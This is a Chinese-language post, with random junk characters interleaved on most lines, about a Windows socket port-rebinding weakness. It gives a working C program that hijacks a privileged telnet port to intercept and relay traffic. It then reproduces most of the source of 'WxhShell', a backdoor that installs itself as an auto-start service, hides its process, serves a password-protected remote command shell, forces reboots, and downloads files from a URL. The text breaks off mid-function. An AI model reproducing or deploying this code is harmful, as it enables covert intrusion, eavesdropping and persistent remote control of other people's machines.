在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8G?'F${` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
!O-q13\Y Ultx|qU saddr.sin_family = AF_INET;
z%Op_Ddp <=/v%VXPm saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Ny/bNQS G0^WQQ4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
u 3wF)B{ EtWpB g 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fJtJ2x i }"06'
这意味着什么?意味着可以进行如下的攻击:
ZsirX~W< j/5>zS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)Mx[;IwE 5][Rvu0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xC9^x7%3O 72GXgah 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
DQDt*Uj, 1uG?R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
wciYv, U59uP
7n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
is}o5\JEL NDm@\<MIzB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/XjIm4EN Wct
+T,8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%qcBM~efT if9I7@ #include
`o8b\p\zn #include
L%ND?'@ #include
4NMv7[r #include
1M7=*w,
DWORD WINAPI ClientThread(LPVOID lpParam);
Hv>A$x$q int main()
w;vp X> {
Ash"D~ WORD wVersionRequested;
r*C:)z.} DWORD ret;
Q*+@"tk< WSADATA wsaData;
E
j@M\ BOOL val;
s1<_=sfnT SOCKADDR_IN saddr;
y%Ui)UMnw] SOCKADDR_IN scaddr;
s03DL int err;
f&bY=$iff SOCKET s;
[Qa0uM#SU SOCKET sc;
s[)2z3 int caddsize;
%L+/GtxK HANDLE mt;
S3PW [R@= DWORD tid;
F=kD/GCB wVersionRequested = MAKEWORD( 2, 2 );
;TD<\1HJT= err = WSAStartup( wVersionRequested, &wsaData );
>V;JI;[ if ( err != 0 ) {
XtRfzqg?K printf("error!WSAStartup failed!\n");
M@UkXA} return -1;
ez%RWck }
udX4SBq-pC saddr.sin_family = AF_INET;
CsS0(n(x y4$UPLm //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_tS<\zy@y KOv
a r0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
, d ?4"8_ saddr.sin_port = htons(23);
0PE $n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@Ytsb!! {
k ~lj:7g~ printf("error!socket failed!\n");
oJVpNE[3] return -1;
]^Z7w`=%5 }
\K9XG/XIx val = TRUE;
Nc
F //SO_REUSEADDR选项就是可以实现端口重绑定的
PQ. xmg2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"?Wwcd\ {
^ ]SS\=7 printf("error!setsockopt failed!\n");
D "j
=|4S# return -1;
%}j.6'`{
}
di]z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1 h|cr_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E)o/C(g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
HuBG?4Qd &NZN_% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T9jp* {
s$YKdtR ret=GetLastError();
3}= .7qm printf("error!bind failed!\n");
1eZ">,F6< return -1;
?^mgK9^v@ }
B++.tQ=X. listen(s,2);
V7%G? while(1)
C(b"0> {
g2^7PtJg caddsize = sizeof(scaddr);
8N4W}YBs //接受连接请求
1*S It5?4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
h`Vb#5ik if(sc!=INVALID_SOCKET)
73P=<3 {
IhwJYPLF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
9~I\WjB
" if(mt==NULL)
{J%Na&D {
N5#qox$D printf("Thread Creat Failed!\n");
ZZA!Y9ia2 break;
4%LG9hS }
L7_(KC h }
ZD/>L/ CloseHandle(mt);
9xP{#Qa }
F\Q)l+c closesocket(s);
@/l{ WSACleanup();
J:dF^3Y return 0;
*>V6KW }
=xQ7:TB DWORD WINAPI ClientThread(LPVOID lpParam)
fs&J%ku\ {
A9qCaq{ SOCKET ss = (SOCKET)lpParam;
^+oi|y SOCKET sc;
&eQzfx=|km unsigned char buf[4096];
EXH{3E54)` SOCKADDR_IN saddr;
SJoQaR,)> long num;
h>sz@\{ DWORD val;
OYzt>hdH DWORD ret;
#B8`qFpQC //如果是隐藏端口应用的话,可以在此处加一些判断
}oigZI(1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!;{@O`j?b saddr.sin_family = AF_INET;
GRCc<TM,U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}X$vriW saddr.sin_port = htons(23);
*_`T*$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v:B_%-GfOA {
$SSE\+|3 printf("error!socket failed!\n");
lyI
rO"o return -1;
Y'i0=w6G }
(9*s:)zD- val = 100;
@ \J R xJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%eT4Q~}5" {
F')T:;,s ret = GetLastError();
[q cT?h return -1;
`IOp*8 }
MVg`6&oH if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NLyvi,svS {
M$ep.<Z1| ret = GetLastError();
.{k(4_Q?I return -1;
H$KE*Wwq }
Fx4C]S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pP68jL {
aO.'(kk8 printf("error!socket connect failed!\n");
;!, ]}2w*X closesocket(sc);
E$.|h;i]Q closesocket(ss);
fU@}]& return -1;
QtJe){(z+ }
<89@k(\ / while(1)
(aVsp*E {
$5GvF1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E}lU?U5i //如果是嗅探内容的话,可以再此处进行内容分析和记录
a({qc0+UK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_DMj)enH" num = recv(ss,buf,4096,0);
c=I!?a" if(num>0)
|2CW!is send(sc,buf,num,0);
(6A>:_) else if(num==0)
7IBm(# break;
l~Kn-S{ num = recv(sc,buf,4096,0);
]w]Swt2n if(num>0)
VXQS~#dQj send(ss,buf,num,0);
%2^C else if(num==0)
5IW^^<kiu break;
"M
v%M2'c }
_t6siB_u closesocket(ss);
THJ KuWy closesocket(sc);
cx|[P6d return 0 ;
TSdjX]Kf }
DX}EOxO,. w4'(Y,(` "sz LTC]*6 ==========================================================
Yk(OVl T Z%Y=Lx 下边附上一个代码,,WXhSHELL
L'6_~I TUJ]u2J8? ==========================================================
W2|*:<Jt MFX&+c #include "stdafx.h"
(sS[F-2R7 C@pDX>~2=b #include <stdio.h>
-4,qAnuMx #include <string.h>
nuw90=qj!] #include <windows.h>
Id]WKL: #include <winsock2.h>
SjKIn- #include <winsvc.h>
3
C=nC #include <urlmon.h>
<3P?rcd,5K &|%z!x6 f #pragma comment (lib, "Ws2_32.lib")
h?.6e9Y4 #pragma comment (lib, "urlmon.lib")
m{mK;D
+
h`:qB #define MAX_USER 100 // 最大客户端连接数
Z@
h<xo*r #define BUF_SOCK 200 // sock buffer
?@|1>epgd #define KEY_BUFF 255 // 输入 buffer
4I"QT(; EYGJDv(S #define REBOOT 0 // 重启
TnL%_!V! #define SHUTDOWN 1 // 关机
MgHyKn'rL WaWT
5|A #define DEF_PORT 5000 // 监听端口
]j*o&6cQf zVxiCyU #define REG_LEN 16 // 注册表键长度
[H0jDbN #define SVC_LEN 80 // NT服务名长度
tFwQ / \b.2f+;3 // 从dll定义API
eQcy'GA06 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Lr)h>j6\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
L]9!-E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
m4E 6L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
hrZ~7 0r
<$UMMA // wxhshell配置信息
b$PNZC8f struct WSCFG {
`!qWHm6I* int ws_port; // 监听端口
?-#w [J'6 char ws_passstr[REG_LEN]; // 口令
j0=`Jf int ws_autoins; // 安装标记, 1=yes 0=no
wa<@bub char ws_regname[REG_LEN]; // 注册表键名
)#ic"UtR char ws_svcname[REG_LEN]; // 服务名
jV:U% char ws_svcdisp[SVC_LEN]; // 服务显示名
m %ET!+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
&lBfW$PZjk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|xQj2?_z* int ws_downexe; // 下载执行标记, 1=yes 0=no
{aGQ[MH\9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v6s8 p char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Zx}=c4I(y zZDG5_$n };
.w$v<y6C w#Nn(!VR // default Wxhshell configuration
~Ufcy{x# struct WSCFG wscfg={DEF_PORT,
Q;m
.m2 "xuhuanlingzhe",
x18ei@c 1,
b44H2A. "Wxhshell",
>P\Tnb"Q\ "Wxhshell",
FX}<F0([? "WxhShell Service",
%|SbZ)gcQ "Wrsky Windows CmdShell Service",
,>{4*PM( "Please Input Your Password: ",
"^_p>C)T 1,
^%go\ C ; "
http://www.wrsky.com/wxhshell.exe",
wjS3ItB "Wxhshell.exe"
l-t:7`=| };
YvBUx#\ 1(q!.lPc // 消息定义模块
H1\~T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
> %#J8 char *msg_ws_prompt="\n\r? for help\n\r#>";
Zs+6Zd4f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(d#?\ char *msg_ws_ext="\n\rExit.";
5? c4aAn char *msg_ws_end="\n\rQuit.";
&\0LR?Nh char *msg_ws_boot="\n\rReboot...";
7dPA>5"XD char *msg_ws_poff="\n\rShutdown...";
WgE~H)_% char *msg_ws_down="\n\rSave to ";
VrF]X#\)
`Yoafa char *msg_ws_err="\n\rErr!";
bnD>/z]E char *msg_ws_ok="\n\rOK!";
_<t3~{qUT Q=e?G300#L char ExeFile[MAX_PATH];
H@G7oK int nUser = 0;
O;H/15j:sK HANDLE handles[MAX_USER];
T]CvfvO5 int OsIsNt;
@|-ydm0 ^o,@9GTs SERVICE_STATUS serviceStatus;
/DbwqBx SERVICE_STATUS_HANDLE hServiceStatusHandle;
{y<_S]0 ~e%*hZNo // 函数声明
"ajZ&{Z int Install(void);
7t@jj%F int Uninstall(void);
),M8W15 int DownloadFile(char *sURL, SOCKET wsh);
d:A+s>`$M int Boot(int flag);
+"'h?7'C void HideProc(void);
,j&o H$mW int GetOsVer(void);
#7Qn\C2 int Wxhshell(SOCKET wsl);
]t(g7lc}U void TalkWithClient(void *cs);
/&kZ)XOi int CmdShell(SOCKET sock);
(6 0,0|s int StartFromService(void);
!vImmhI!I int StartWxhshell(LPSTR lpCmdLine);
D#(A?oN X+&@$v1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
diTzolY7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
sGdt) '7Te{^<FQ$ // 数据结构和表定义
c
(\-7*En SERVICE_TABLE_ENTRY DispatchTable[] =
OmU.9PDg- {
;yHA.} {wscfg.ws_svcname, NTServiceMain},
s?0r\ cc|: {NULL, NULL}
QQC0uta` };
cG"jrQ "G`)x+<~Z8 // 自我安装
vtL) int Install(void)
)}paQmy# {
>Pv%E char svExeFile[MAX_PATH];
dZnq 96<:| HKEY key;
N.&)22<m9 strcpy(svExeFile,ExeFile);
uidE/7 6GJ?rE E/ // 如果是win9x系统,修改注册表设为自启动
z#,?*v if(!OsIsNt) {
yGS._;#R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T( ;BEyc? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Oh8;YE-% RegCloseKey(key);
W>B:W 0A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=q6yb@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|W#^L`!G RegCloseKey(key);
7Kh+m@q. return 0;
tM@TT@.t~ }
pdtK3Pf }
N4H nW0 }
q=96Ci _a else {
Zqx5I~ eQC`e#% // 如果是NT以上系统,安装为系统服务
_k
~bH\( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3!Be kn] if (schSCManager!=0)
?dxhe7m {
@<alWBS SC_HANDLE schService = CreateService
[dt1%DD`M (
c&'T By schSCManager,
]^j)4us wscfg.ws_svcname,
Dm4\Rld{ wscfg.ws_svcdisp,
:+[q` SERVICE_ALL_ACCESS,
9KAXc(- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Mb$&~! SERVICE_AUTO_START,
NINyg"g< SERVICE_ERROR_NORMAL,
O"Xjv`j: svExeFile,
p&ZD1qa NULL,
:T'"%_d5 NULL,
,Hj=]e2? NULL,
T}4RlIZF NULL,
yq;gBIiZ NULL
lIOLR-:4j );
)9@Ftzg| if (schService!=0)
T_B$ {
n*_FC CloseServiceHandle(schService);
Dk[[f<H_{ CloseServiceHandle(schSCManager);
{},GxrQm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
E-!`6 strcat(svExeFile,wscfg.ws_svcname);
!FO||z(vb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s q :ff RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
y;Dw%m RegCloseKey(key);
tSQ>P -O return 0;
FQ O6w' }
53l9s<bOQ }
@-u/('vpB CloseServiceHandle(schSCManager);
K3\U'bRO }
L*L3;y| }
uFECfh [>6:xGSe9X return 1;
'z+8;g.ekO }
E5 Y92vu }0f[x ?V // 自我卸载
[qid4S~r,& int Uninstall(void)
&LYU#$sj {
T.&^1q WWA HKEY key;
vH7"tz&RIp 8|i&Gbw+ if(!OsIsNt) {
dq|z;,` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>B~p[wh0 RegDeleteValue(key,wscfg.ws_regname);
2;6p2GNSh RegCloseKey(key);
"CLd_H*)c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h^[K= J RegDeleteValue(key,wscfg.ws_regname);
2Uk$9s RegCloseKey(key);
mtJI#P return 0;
5GpRN }
]A!Gr(FHQ }
w"A'uFXLc }
5N '
QG<jE else {
T_I"Tsv SDJAk&Z}R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4Jo:^JV if (schSCManager!=0)
?b2%\p`" {
K4l,YR;r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S
W if (schService!=0)
4$vya+mAk5 {
L!/USh:IP if(DeleteService(schService)!=0) {
vp-)$f& CloseServiceHandle(schService);
Pk*EnA) CloseServiceHandle(schSCManager);
5z#>>|1># return 0;
zf2]|]*xz }
\.Q"fd?a_D CloseServiceHandle(schService);
f3*u_LO }
*S{%+1F CloseServiceHandle(schSCManager);
&a-:ZA@ }
6)DYQ^4y }
c< \:lhl 9h~>7VeZ) return 1;
A!@D }n }
P3@[x VN;Sz,1Z // 从指定url下载文件
kGX`y.-[ int DownloadFile(char *sURL, SOCKET wsh)
KVqQOh'_T {
%'EOFv]
HRESULT hr;
w,JB`jS)/ char seps[]= "/";
KWhw@y-5j@ char *token;
U7
Z_ char *file;
+mV4Ty char myURL[MAX_PATH];
ks'25tv}F char myFILE[MAX_PATH];
R+, tn,<< v#D9yttO{ strcpy(myURL,sURL);
SAXjB;VH6 token=strtok(myURL,seps);
6P+8{?V& while(token!=NULL)
,uuQj]Dac+ {
0UlaB
sv file=token;
[)9bR1wh token=strtok(NULL,seps);
Dth<hS,2J }
^=Up UB v)J6}H}e GetCurrentDirectory(MAX_PATH,myFILE);
Z.VVY\ strcat(myFILE, "\\");
%n!s{5:F strcat(myFILE, file);
8M:;9a8fh send(wsh,myFILE,strlen(myFILE),0);
R-hqaEB send(wsh,"...",3,0);
Z/56JYt!~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g4%x7#vz0 if(hr==S_OK)
ILTd*f return 0;
I)DLnnQQ else
mKWA-h+f return 1;
g8}/Ln*W' vZ$uD,@;. }
_0^<)OSY 6}{2W< // 系统电源模块
Jp_{PR:& int Boot(int flag)
D='/-3f!F] {
--.: eFE/ HANDLE hToken;
MT;<\T TOKEN_PRIVILEGES tkp;
Q_LPLmM r~TiJ?8I if(OsIsNt) {
hGD7/qTN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
':F{st>&H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*1}9`$ tkp.PrivilegeCount = 1;
"D8xHHb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
uXu'I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q^Oq:l$s if(flag==REBOOT) {
(!{_O_& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/gXli) return 0;
.|KxQn} }
pk(<],0]X else {
5GT,:0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%=\h=\wt return 0;
L{'qZ#N[ }
>0:h(,?V }
<k/'mBDk else {
u|9^tHT> if(flag==REBOOT) {
`;5UlkVZ5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
az0( 54M return 0;
!tHqF }
18V*Cu else {
1wqCoDgkp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fy9{W @E3p return 0;
*sB=Ys? }
qV8;;&8r }
eJ$?T7aUf h'w9=Pk~6y return 1;
8~\Fpz|Og }
qs 52)$ Zdj~B1 // win9x进程隐藏模块
`H^Nc\P# void HideProc(void)
DQH _@-q {
aztP`S$h 2%1g% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{HvR24# if ( hKernel != NULL )
Af
^6 {
8+v6%,K2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{Kd9}CDAZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fx%'7/+ FreeLibrary(hKernel);
bHWy9 - }
X#1So .}c }B^s!y&b return;
(Qq! u }
oQWS$\Rr.
`k_5Pz\ // 获取操作系统版本
DV*8Mkzg int GetOsVer(void)
Nr3td`; {
%v
:a OSVERSIONINFO winfo;
:14O=C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
p5c'gziR GetVersionEx(&winfo);
m!N_TOl-^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H,KU!1p return 1;
(fm\kV else
= J).(E89 return 0;
tG{e( }
6<sB v#YO3nD // 客户端句柄模块
1}KNzMHk9 int Wxhshell(SOCKET wsl)
(3c,;koRR {
52wq<[#tK SOCKET wsh;
dSk\J[D struct sockaddr_in client;
^?&Jq_oU DWORD myID;
:]=Y1*L\) )|uPCZdLZ while(nUser<MAX_USER)
W q F( {
g4RkkoZ>) int nSize=sizeof(client);
|3Oe2qb wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QVn!60[lj if(wsh==INVALID_SOCKET) return 1;
~=Er=
0 |@Q(~[It handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.;iXe if(handles[nUser]==0)
4x e:+sA.N closesocket(wsh);
`H+ 7Hj else
ZRD* ^9) nUser++;
CHN!o9f }
,^:Zf|V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Xdq2 .:\
Rj+}L ~" return 0;
5#$E4k:YV }
=h5&\4r= $-M1<?5 // 关闭 socket
nU)}!` E void CloseIt(SOCKET wsh)
NTs< ;ED {
C[n,j#Mvje closesocket(wsh);
6(DK\58 nUser--;
DY~~pi~ ExitThread(0);
{BY`Wu:w }
eem.lVVD @bfaAh~ // 客户端请求句柄
tvf"w`H void TalkWithClient(void *cs)
"&Q-'L!M'/ {
N!9DZEcm ^dYFFKQ SOCKET wsh=(SOCKET)cs;
ZJ=-cE2n char pwd[SVC_LEN];
QRgWzaI char cmd[KEY_BUFF];
C&zgt
:q6} char chr[1];
z})H$]: $ int i,j;
6jPaS!E (gl CTF9v while (nUser < MAX_USER) {
C.%iQx`
j05ahquI if(wscfg.ws_passstr) {
im*QaO%a4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L.l"'=M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V<:kS //ZeroMemory(pwd,KEY_BUFF);
Vu^J'>X i=0;
jEit^5^5| while(i<SVC_LEN) {
4-ZiKM }I#;~|v~< // 设置超时
<LzN/I aJ fd_set FdRead;
#wx0xQ~,J struct timeval TimeOut;
Q(oWaG FD_ZERO(&FdRead);
[-s0'z FD_SET(wsh,&FdRead);
rTDx|pvYx TimeOut.tv_sec=8;
[^1;8Tbk TimeOut.tv_usec=0;
kxThtjgv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wf6ZzG: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9 n|H%AC xqmJPbA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
EG7ki0 pwd
=chr[0]; y 9/27yWB
if(chr[0]==0xd || chr[0]==0xa) { $ hg
W>e
pwd=0; "aB]?4
break; Fr/8q:m&
} IDdhBdQ
i++; EOVHTDkKf
} YPf&y"E&H
%D gU
// 如果是非法用户,关闭 socket XH1so1h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eZI&d;i
} }P-9\*hlm
,Y &Q,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JQQD~J1)E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qGl+KI
vb5tyY0c
while(1) { `r+e!o
.F'Fk=N
ZeroMemory(cmd,KEY_BUFF); O`OntYwa>
u2 -%~Rlo
// 自动支持客户端 telnet标准 WTY{sq\'
o
j=0; 1,,o_e\nn3
while(j<KEY_BUFF) { o+/x8:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _BHb0zeot
cmd[j]=chr[0]; 9.#\GI ;
if(chr[0]==0xa || chr[0]==0xd) { ;=F^G?p^
cmd[j]=0; Pt";f
break; 7KuTC%7
} '#u|RsZ
j++; DWm$:M4z
} y9Yh%M(
N$:[`,
// 下载文件 Z^>3}\_v
if(strstr(cmd,"http://")) { wH{lp/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c 6E@+xU
if(DownloadFile(cmd,wsh)) /bfsC&
3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KB*[b
else #E{OOcM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ldI;DoE#U1
} G?'L1g[lc
else { uH65DI<
gPQ2i])"Q
switch(cmd[0]) { rguC#Xt!4
JS!rZi
// 帮助 oKA8)~Xqou
case '?': { WH/r$.&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *1Nz
VV
break; .OXvv _?<
} kTc'k
// 安装 n8iejdA'
case 'i': { i,<TaW*I
if(Install()) oxH S7b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); > 9 i @W@M
else m)=
-sD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %CD}A%~
break; i^Ep[3
} v)okVyv
// 卸载 wEQV"I
case 'r': { Co[ rhs
if(Uninstall()) K}&|lCsb
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
\AoM'+
else iNd8M V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !OPa
`kSh
break; ]{.rx),
} TP'EdzAT
// 显示 wxhshell 所在路径 %89f<F\V
case 'p': { ;}=v|Dr&I.
char svExeFile[MAX_PATH]; A4Q8^^byY
strcpy(svExeFile,"\n\r"); **fJAANc
strcat(svExeFile,ExeFile); cl^wLC'o
send(wsh,svExeFile,strlen(svExeFile),0); % ]r@vjeyd
break; xo7H^!_
} d_1w
9FA
// 重启 EoIP#Cnd1
case 'b': { ?9OiF-:n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Evmq3,9
if(Boot(REBOOT)) {-7];e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$iv27
else { )O#>ONm^
closesocket(wsh); [0Z
r z+q
ExitThread(0); g=o)=sQd
} J+Q
;'J
break; 2/E3~X7
} 5?kF'yksR
// 关机 @Zjy"u
case 'd': {
jiC;*]n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); daGGgSbh
if(Boot(SHUTDOWN)) D(@#Gd\Z@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r/a\t,8n
else { a^,6[
closesocket(wsh); Beiz*2-}a
ExitThread(0); xzz[!yJjG
} azS"*#r6}
break; 0p*(<8D}
} @&83/U?
// 获取shell Gv?'R0s
case 's': { "
F~uTo
CmdShell(wsh); =5[}&W
closesocket(wsh); #'v7mEwt
ExitThread(0); q,PB;TT
break; w2@ `0
} ~{=+dQ
// 退出 g$EjIHb
case 'x': { 5ok3q@1_]{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CsQ}eW8uEf
CloseIt(wsh); n;xtUw6\
break; s'tmak-}|
} <,`=m|z9k
// 离开 R1&(VK{
case 'q': { iNT 1lk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :G9.}VrU
closesocket(wsh); T&tCXi
WSACleanup(); Tm.(gK
exit(1); >]&LbUW+
break; 4%KNHeaN
} k$i76r
} BN|+2D+S
} #T99p+O
I}kx;!*b
// 提示信息 k8GcHqNHx
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :@`Ll;G
} z<m,Xj4w
} f:KKOLm
'<^%>R2
return; \T/~"
w
} 9V0iV5?( P
>C*q
// shell模块句柄 1WfN_JKB5
int CmdShell(SOCKET sock) ;B:'8$j$
{ kC!7<%(
STARTUPINFO si; B+`m
ZeroMemory(&si,sizeof(si)); gX{V>T(<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A%"mySW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 38>8{Ma
PROCESS_INFORMATION ProcessInfo; f]h99T
char cmdline[]="cmd"; \XCs(lNh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -9UQs.Nv
return 0; .o]vjNrd/
} *QG>U [
cW/RH.N
// 自身启动模式 BikmAa
int StartFromService(void) 6*A
S4l
{ QukLsl]U
typedef struct lo,?mj%M
{ Q6`oo/
DWORD ExitStatus; DQ?'f@I&*
DWORD PebBaseAddress; %+:%%r=Q
